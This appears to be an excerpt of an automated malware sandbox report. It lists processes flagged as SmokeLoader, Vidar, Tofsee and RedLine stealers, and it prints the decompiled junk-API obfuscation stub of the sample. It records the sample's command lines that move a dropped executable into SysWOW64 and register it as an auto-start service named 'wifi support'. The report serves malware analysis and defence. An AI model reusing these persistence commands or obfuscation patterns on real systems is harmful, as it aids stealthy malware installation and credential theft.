Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608
Imagebase:	0x7ff70d6e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: A019.exe PID: 5000 Parent PID: 3340

General

Start time:	20:23:09
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\A019.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A019.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	679831CF1F00950B4ADFFBBBA7E6AB46
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.407171768.00000000005C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.407257194.00000000005E1000.00000004.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: WerFault.exe PID: 4820 Parent PID: 6608

General

Start time:	20:23:10
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 520
Imagebase:	0xdd0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 9779.exe PID: 2228 Parent PID: 3352

General

Start time:	20:23:12
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\9779.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9779.exe
Imagebase:	0x400000
File size:	324608 bytes
MD5 hash:	043B44289E31BD54357F9A5C21833259
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000016.00000002.398828451.0000000000899000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: svchost.exe PID: 4580 Parent PID: 572

General

Start time:	20:23:14
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: A881.exe PID: 7004 Parent PID: 3352

General

Start time:	20:23:15
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\A881.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A881.exe
Imagebase:	0x400000
File size:	321024 bytes
MD5 hash:	9AF71C74219794F100EA801B528339AF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001A.00000003.404265838.00000000007F0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: B217.exe PID: 4400 Parent PID: 3352

General

Start time:	20:23:18
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B217.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B217.exe
Imagebase:	0xa90000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.479069139.0000000003E01000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.481840914.0000000004005000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001B.00000002.480913132.0000000003F71000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 3608 Parent PID: 3676

General

Start time:	20:23:23
Start date:	14/01/2022
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff7c6120000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1244 Parent PID: 3608

General

Start time:	20:23:23
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6520 Parent PID: 7004

General

Start time:	20:23:23
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\gebcmxiz\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4588 Parent PID: 6520

General

Start time:	20:23:24
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 956 Parent PID: 7004

General

Start time:	20:23:26
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\lnagngtg.exe" C:\Windows\SysWOW64\gebcmxiz\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6748 Parent PID: 956

General

Start time:	20:23:27
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: B217.exe PID: 6824 Parent PID: 4400

General

Start time:	20:23:32
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B217.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\B217.exe
Imagebase:	0x1b0000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 5872 Parent PID: 7004

General

Start time:	20:23:32
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\sc.exe" create gebcmxiz binPath= "C:\Windows\SysWOW64\gebcmxiz\lnagngtg.exe /d\"C:\Users\user\AppData\Local\Temp\A881.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xa70000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5932 Parent PID: 5872

General

Start time:	20:23:33
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: ZA3cYU28Yl.exe PID: 6600 Parent PID: 5844 ZA3cYU28Yl.exeCOMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	21.5%
Total number of Nodes:	246
Total number of Limit Nodes:	21

Executed Functions

Function 00419B62, Relevance: 257.8, APIs: 116, Strings: 31, Instructions: 521
timestringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00419B62(void* __edx, void* __fp0) {
				void* __edi;
				intOrPtr _t50;
				CHAR* _t53;
				intOrPtr _t87;
				void* _t192;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t198;
				void* _t199;
				void* _t200;
				void* _t203;
				void* _t205;
				intOrPtr _t227;
				void* _t228;

				_t193 = __edx;
				E0041A740(0x20b8);
				if( *0x54abf4 == 0x177) {
					E0041B170(0, 0, 0);
					E0041ADA0(_t192, 0, 0);
					E0041AD50(_t192, 0, 0);
					E0041ACD0(0);
					E0041AAE0("0.0");
					st0 = __fp0;
					E0041A860(_t192, 0);
					E0041A830(_t192, 0, 0);
					E0041A7B0(_t192, 0);
					_t53 = E0041A790(0);
					_t205 = _t205 + 0x38;
				}
				_t194 = 0;
				L3:
				L3:
				if( *0x54abf4 == 0x47) {
					GetBinaryTypeA("hijaduvinijebup", _t205 + 0x10);
					SetCurrentDirectoryA("lakusoruhajunajiziheruxazoluyoloxujumazomeke");
					Process32NextW(0, 0);
					InitializeCriticalSection(0);
					QueryDosDeviceW(0, _t205 + 0x10cc, 0);
					__imp__AssignProcessToJobObject(0, 0);
					GlobalAddAtomW(L"Vozecitak mov");
					DeleteAtom(0);
					WriteProfileStringA("tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv", "wapejan", "mocisacatenu");
					GetFullPathNameA("Felerah cuhozazikesuzil", 0, _t205 + 0x4cc, 0);
					__imp__FindNextVolumeMountPointW(0, _t205 + 0x8cc, 0);
					GetCompressedFileSizeA("wovag", _t205 + 0x1c);
					SetNamedPipeHandleState(0, 0, 0, 0);
					lstrcpynA(_t205 + 0xd0, "Losufic vahafoj sovoculoziyaja dewofic", 0);
					GetCurrentProcessId();
					__imp__GetConsoleAliasesLengthW(0);
					__imp__UnregisterWait(0);
					__imp__GetProcessHandleCount(0, 0);
					CancelWaitableTimer(0);
					SetFileApisToANSI();
					CreateIoCompletionPort(0, 0, 0, 0);
					FindClose(0);
					SetEndOfFile(0);
					GetCommMask(0, 0);
					LocalLock(0);
					_t53 = OpenMutexA(0, 0, "mesehoripirowarericaju");
				}
				if(_t194 == 0x69d) {
					goto L8;
				}
				_t194 = _t194 + 1;
				if(_t194 < 0x1133661) {
					goto L3;
				} else {
				}
				L9:
				_t195 = 0;
				do {
					if(_t195 < 0x4f5) {
						OemToCharA(0, 0);
						GetLastError();
					}
					if( *0x54abf4 == 0x6b) {
						_t53 = HeapFree(0, 0, 0);
					}
					_t195 = _t195 + 1;
					 *0x5447e0 = 0;
				} while (_t195 < 0x1763459b);
				_t203 = 0;
				do {
					if(_t203 == 0x40d) {
						 *0x54abf4 =  *0x54abf4 + 0x12336;
					}
					if( *0x54abf4 == 0x44d) {
						 *(_t205 + 0x10) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, "tifikekacejininomizewidixazodafetisutaxewuy", 0,  *(_t205 + 0x14), _t205 + 0x1c);
						GetModuleHandleW(L"Xemov yoxociy pogi");
						GetConsoleMode(0, 0);
						FreeEnvironmentStringsA(0);
						GetWriteWatch(0, 0, 0, 0, 0, 0);
						__imp__GetConsoleAliasExesLengthW();
						_lopen(0, 0);
						FileTimeToLocalFileTime(_t205 + 0x40, _t205 + 0x34);
						SetCommState(0, 0);
						EnumDateFormatsA(0, 0, 0);
						 *(_t205 + 0x20) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						TransactNamedPipe(0, 0, 0, _t205 + 0xd4, 0, _t205 + 0x18, _t205 + 0x20);
						WriteConsoleInputW(0, 0, 0, _t205 + 0x18);
						__imp__GetConsoleAliasExesLengthA();
						GetAtomNameW(0, _t205 + 0x10cc, 0);
						FreeConsole();
						FlushConsoleInputBuffer(0);
						__imp__GetConsoleAliasA(0, _t205 + 0x4d0, 0, 0);
						SetConsoleCP(0);
						__imp__VerSetConditionMask(0, 0, 0, 0);
						LockFile(0, 0, 0, 0, 0);
						SetSystemTime(0);
						__imp__SetThreadExecutionState(0);
						VerLanguageNameW(0, _t205 + 0x18cc, 0);
						_t53 = lstrcpyA(_t205 + 0x8cc, "Hetitanutaf bebucoreko");
						__imp__SetFileShortNameA(0, 0);
					}
					_t203 = _t203 + 1;
				} while (_t203 < 0x486263);
				E004198F1(_t53);
				_t198 = 0;
				do {
					if( *0x54abf4 == 0xfd) {
						FreeEnvironmentStringsW(0);
					}
					if(_t198 == 0x3c58) {
						_t87 =  *0x440008; // 0x3f6faa
						 *0x54abf8 = _t87;
					}
					if( *0x54abf4 == 0x23) {
						CreateSemaphoreA(0, 0, 0, "tivomifuzasesufaholivikasekalene");
						GetLocalTime(0);
						EnumTimeFormatsW(0, 0, 0);
						FindResourceExW(0, L"helecebekuxesiwiwifomipuwudokatupibej", L"pahubahiwucijucemipapujivojadij", 0);
						GetPrivateProfileSectionNamesW(_t205 + 0x18d0, 0, 0);
						GetOverlappedResult(0, 0, 0, 0);
						WaitNamedPipeA(0, 0);
						TransmitCommChar(0, 0);
						CreateSemaphoreW(0, 0, 0, 0);
						GetBinaryTypeW(L"Dovi muyafohonifu zapojubocuwuh vuleh", _t205 + 0x18);
						PeekConsoleInputW(0, _t205 + 0x28, 0, _t205 + 0x14);
						BuildCommDCBW(L"werahixiwexetujocaxojikutevolekeginizegimowif", _t205 + 0x44);
						__imp__UnregisterWaitEx(0, 0);
						GlobalLock(0);
						CreateIoCompletionPort(0, 0, 0, 0);
						GetProcAddress(0, 0);
						MoveFileExW(0, 0, 0);
						GetThreadContext(0, _t205 + 0x4c8);
						ResetEvent(_t205 + 0x98);
						__imp__FindActCtxSectionGuid(0, 0, 0, 0, 0);
						 *((intOrPtr*)(_t205 + 0x70)) = 0;
						E0041B190(_t198, _t205 + 0x6c, 0, 0x30);
						_t205 = _t205 + 0xc;
						SetDefaultCommConfigW(0, _t205 + 0x68, 0);
						lstrcmpW(0, 0);
						HeapUnlock(0);
						GetConsoleMode(0, 0);
						__imp__GetVolumePathNameA("Piruvora", _t205 + 0x8cc, 0);
						MoveFileW(0, 0);
						Process32NextW(0, 0);
						GetFileAttributesExA("gukafipa", 0, _t205 + 0xc8);
						GetDriveTypeA(0);
						TryEnterCriticalSection(_t205 + 0xb0);
						GetPrivateProfileStructW(L"diponusohivasohopo", L"mawecamaxe", _t205 + 0x10d0, 0, L"rixawibonagomukirak");
						WritePrivateProfileSectionA(0, 0, 0);
						GetPrivateProfileSectionW(0, 0, 0, 0);
						GetSystemTimeAdjustment(0, 0, 0);
					}
					_t198 = _t198 + 1;
				} while (_t198 < 0xe6a95);
				_t199 = 0;
				_t227 =  *0x54abf4; // 0xf2a0
				if(_t227 > 0) {
					do {
						E004196BC(_t199);
						_t199 = _t199 + 1;
						_t228 = _t199 -  *0x54abf4; // 0xf2a0
					} while (_t228 < 0);
				}
				_t200 = 0;
				do {
					if(_t200 == 0x26) {
						E00419809(_t193);
					}
					_t200 = _t200 + 1;
				} while (_t200 < 0x3dc4b7);
				E00419905(); // executed
				if( *0x54abf4 == 0x1d) {
					WriteConsoleA(0, 0, 0, _t205 + 0x1c, 0);
					EndUpdateResourceA(0, 0);
					__imp__FindVolumeMountPointClose(0);
					DefineDosDeviceW(0, 0, 0);
					InterlockedExchange(_t205 + 0x18, 0);
					SetMailslotInfo(0, 0);
					GetTapeParameters(0, 0, _t205 + 0x20, _t205 + 0x10c8);
					__imp__CreateActCtxW(_t205 + 0x44);
					FindCloseChangeNotification(0);
					GlobalFindAtomA("Hiwejanoji");
					TerminateProcess(0, 0);
					__imp__GetSystemWindowsDirectoryW(_t205 + 0x18cc, 0);
					GetVersion();
					SetConsoleMode(_t205 + 0x14, 0);
					 *(_t205 + 0x20) = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					ReadFileScatter(0, 0, 0, 0, _t205 + 0x20);
					lstrcmpA("Vaguxabufereg godid vefas nehesuh", "Pusazide");
					GetPrivateProfileSectionW(L"bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi", _t205 + 0x8d0, 0, L"suxehecumugilodagaduvixevexirificiseracipefi");
					DebugBreak();
					__imp__DeleteVolumeMountPointA("hukujid");
				}
				return 0;
				L8:
				_t50 =  *0x440160; // 0xffffcf6a
				 *0x54abf4 = _t50;
				goto L9;
			}

0x00419b62
0x00419b67
0x00419b7c
0x00419b81
0x00419b88
0x00419b8f
0x00419b95
0x00419b9f
0x00419ba4
0x00419ba7
0x00419bae
0x00419bb4
0x00419bba
0x00419bbf
0x00419bbf
0x00419bc2
0x00000000
0x00419bc4
0x00419bcb
0x00419bdb
0x00419be6
0x00419bee
0x00419bf4
0x00419c04
0x00419c0c
0x00419c17
0x00419c1e
0x00419c33
0x00419c48
0x00419c58
0x00419c68
0x00419c72
0x00419c86
0x00419c8c
0x00419c93
0x00419c9a
0x00419ca2
0x00419ca9
0x00419caf
0x00419cb9
0x00419cc0
0x00419cc7
0x00419ccf
0x00419cd6
0x00419ce3
0x00419ce3
0x00419cef
0x00000000
0x00000000
0x00419cf1
0x00419cf8
0x00000000
0x00000000
0x00419cfe
0x00419d0a
0x00419d0a
0x00419d0c
0x00419d12
0x00419d16
0x00419d1c
0x00419d1c
0x00419d29
0x00419d2e
0x00419d2e
0x00419d34
0x00419d3b
0x00419d3b
0x00419d49
0x00419d4b
0x00419d51
0x00419d53
0x00419d53
0x00419d67
0x00419d6f
0x00419d78
0x00419d8a
0x00419d95
0x00419d9d
0x00419da0
0x00419dac
0x00419db2
0x00419dba
0x00419dca
0x00419dd2
0x00419ddb
0x00419de3
0x00419deb
0x00419dec
0x00419ded
0x00419dee
0x00419e05
0x00419e13
0x00419e19
0x00419e29
0x00419e2f
0x00419e36
0x00419e47
0x00419e4e
0x00419e58
0x00419e63
0x00419e6a
0x00419e71
0x00419e81
0x00419e93
0x00419e9b
0x00419e9b
0x00419ea1
0x00419ea2
0x00419eae
0x00419eb9
0x00419ebb
0x00419ec5
0x00419ec8
0x00419ec8
0x00419ed4
0x00419ed6
0x00419edb
0x00419edb
0x00419ee7
0x00419ef5
0x00419efc
0x00419f05
0x00419f17
0x00419f27
0x00419f31
0x00419f39
0x00419f41
0x00419f4b
0x00419f5b
0x00419f6d
0x00419f7d
0x00419f85
0x00419f8c
0x00419f96
0x00419f9e
0x00419fa7
0x00419fb6
0x00419fc4
0x00419fcf
0x00419fdd
0x00419fe1
0x00419fe6
0x00419ff0
0x00419ff8
0x00419fff
0x0041a007
0x0041a017
0x0041a01f
0x0041a027
0x0041a03a
0x0041a041
0x0041a04f
0x0041a06d
0x0041a076
0x0041a080
0x0041a085
0x0041a085
0x0041a08b
0x0041a08c
0x0041a098
0x0041a09a
0x0041a0a0
0x0041a0a2
0x0041a0a3
0x0041a0a8
0x0041a0a9
0x0041a0a9
0x0041a0a2
0x0041a0b1
0x0041a0b3
0x0041a0b6
0x0041a0b8
0x0041a0b8
0x0041a0bd
0x0041a0be
0x0041a0c6
0x0041a0d2
0x0041a0e1
0x0041a0e9
0x0041a0f0
0x0041a0f9
0x0041a105
0x0041a10d
0x0041a122
0x0041a12d
0x0041a134
0x0041a13f
0x0041a147
0x0041a156
0x0041a15c
0x0041a168
0x0041a170
0x0041a178
0x0041a179
0x0041a17a
0x0041a17b
0x0041a185
0x0041a195
0x0041a1ae
0x0041a1b0
0x0041a1bb
0x0041a1bb
0x0041a1cd
0x00419d00
0x00419d00
0x00419d05
0x00000000

APIs

__vswprintf.LIBCMTD ref: 00419B81

Part of subcall function 0041B170: __vsprintf_l.LIBCMTD ref: 0041B183

_putc.LIBCMTD ref: 00419B88

Part of subcall function 0041ADA0: __invalid_parameter.LIBCMTD ref: 0041AE2D

__wrename.LIBCMTD ref: 00419B8F

Part of subcall function 0041AD50: MoveFileA.KERNEL32 ref: 0041AD5E
Part of subcall function 0041AD50: GetLastError.KERNEL32 ref: 0041AD68
Part of subcall function 0041AD50: __dosmaperr.LIBCMTD ref: 0041AD84

_atexit.LIBCMTD ref: 00419B95

Part of subcall function 0041AAE0: __atof_l.LIBCMTD ref: 0041AAEB

_malloc.LIBCMTD ref: 00419BA7
_realloc.LIBCMTD ref: 00419BAE

Part of subcall function 0041A830: __realloc_dbg.LIBCMTD ref: 0041A844

_ferror.LIBCMTD ref: 00419BB4

Part of subcall function 0041A7B0: __invalid_parameter.LIBCMTD ref: 0041A80A

Part of subcall function 0041A790: __wcstoi64.LIBCMTD ref: 0041A79D

GetBinaryTypeA.KERNEL32(hijaduvinijebup,?), ref: 00419BDB
SetCurrentDirectoryA.KERNEL32(lakusoruhajunajiziheruxazoluyoloxujumazomeke), ref: 00419BE6
Process32NextW.KERNEL32(00000000,00000000), ref: 00419BEE
InitializeCriticalSection.KERNEL32(00000000,00000000,00000000), ref: 00419BF4
QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00419C04
AssignProcessToJobObject.KERNEL32 ref: 00419C0C
GlobalAddAtomW.KERNEL32 ref: 00419C17
DeleteAtom.KERNEL32(00000000), ref: 00419C1E
WriteProfileStringA.KERNEL32(tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv,wapejan,mocisacatenu), ref: 00419C33
GetFullPathNameA.KERNEL32(Felerah cuhozazikesuzil,00000000,?,00000000), ref: 00419C48
FindNextVolumeMountPointW.KERNEL32 ref: 00419C58
GetCompressedFileSizeA.KERNEL32(wovag,?), ref: 00419C68
SetNamedPipeHandleState.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419C72
lstrcpynA.KERNEL32(?,Losufic vahafoj sovoculoziyaja dewofic,00000000), ref: 00419C86
GetCurrentProcessId.KERNEL32 ref: 00419C8C
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419C93
UnregisterWait.KERNEL32(00000000), ref: 00419C9A
GetProcessHandleCount.KERNEL32(00000000,00000000), ref: 00419CA2
CancelWaitableTimer.KERNEL32(00000000), ref: 00419CA9
SetFileApisToANSI.KERNEL32 ref: 00419CAF
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419CB9
FindClose.KERNEL32(00000000), ref: 00419CC0
SetEndOfFile.KERNEL32(00000000), ref: 00419CC7
GetCommMask.KERNEL32(00000000,00000000), ref: 00419CCF
LocalLock.KERNEL32(00000000), ref: 00419CD6
OpenMutexA.KERNEL32 ref: 00419CE3
OemToCharA.USER32 ref: 00419D16
GetLastError.KERNEL32 ref: 00419D1C
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00419D2E
WriteConsoleOutputCharacterA.KERNEL32(00000000,tifikekacejininomizewidixazodafetisutaxewuy,00000000,?,?), ref: 00419D8A
GetModuleHandleW.KERNEL32(Xemov yoxociy pogi), ref: 00419D95
GetConsoleMode.KERNEL32(00000000,00000000), ref: 00419D9D
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00419DA0
GetWriteWatch.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419DAC
GetConsoleAliasExesLengthW.KERNEL32 ref: 00419DB2
_lopen.KERNEL32(00000000,00000000), ref: 00419DBA
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00419DCA
SetCommState.KERNEL32(00000000,00000000), ref: 00419DD2
EnumDateFormatsA.KERNEL32(00000000,00000000,00000000), ref: 00419DDB
TransactNamedPipe.KERNEL32(00000000,00000000,00000000,?,00000000,?,?), ref: 00419E05
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 00419E13
GetConsoleAliasExesLengthA.KERNEL32 ref: 00419E19
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 00419E29
FreeConsole.KERNEL32 ref: 00419E2F
FlushConsoleInputBuffer.KERNEL32(00000000), ref: 00419E36
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 00419E47
SetConsoleCP.KERNEL32(00000000), ref: 00419E4E
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E58
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00419E63
SetSystemTime.KERNEL32(00000000), ref: 00419E6A
SetThreadExecutionState.KERNEL32 ref: 00419E71
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 00419E81
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 00419E93
SetFileShortNameA.KERNEL32(00000000,00000000), ref: 00419E9B
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00419EC8
CreateSemaphoreA.KERNEL32 ref: 00419EF5
GetLocalTime.KERNEL32(00000000), ref: 00419EFC
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00419F05
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 00419F17
GetPrivateProfileSectionNamesW.KERNEL32 ref: 00419F27
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419F31
WaitNamedPipeA.KERNEL32 ref: 00419F39
TransmitCommChar.KERNEL32(00000000,00000000), ref: 00419F41
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419F4B
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 00419F5B
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00419F6D
BuildCommDCBW.KERNEL32 ref: 00419F7D
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 00419F85
GlobalLock.KERNEL32 ref: 00419F8C
CreateIoCompletionPort.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419F96
GetProcAddress.KERNEL32(00000000,00000000), ref: 00419F9E
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 00419FA7
GetThreadContext.KERNEL32(00000000,?), ref: 00419FB6
ResetEvent.KERNEL32(?), ref: 00419FC4
FindActCtxSectionGuid.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00419FCF
_memset.LIBCMT ref: 00419FE1
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 00419FF0
lstrcmpW.KERNEL32(00000000,00000000), ref: 00419FF8
HeapUnlock.KERNEL32(00000000), ref: 00419FFF
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A007
GetVolumePathNameA.KERNEL32 ref: 0041A017
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A01F
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A027
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A03A
GetDriveTypeA.KERNEL32(00000000), ref: 0041A041
TryEnterCriticalSection.KERNEL32(?), ref: 0041A04F
GetPrivateProfileStructW.KERNEL32 ref: 0041A06D
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A076
GetPrivateProfileSectionW.KERNEL32 ref: 0041A080
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A085
WriteConsoleA.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A0E1
EndUpdateResourceA.KERNEL32 ref: 0041A0E9
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A0F0
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A0F9
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A105
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 0041A10D
GetTapeParameters.KERNEL32 ref: 0041A122
CreateActCtxW.KERNEL32(?), ref: 0041A12D
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A134
GlobalFindAtomA.KERNEL32(Hiwejanoji), ref: 0041A13F
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A147
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A156
GetVersion.KERNEL32 ref: 0041A15C
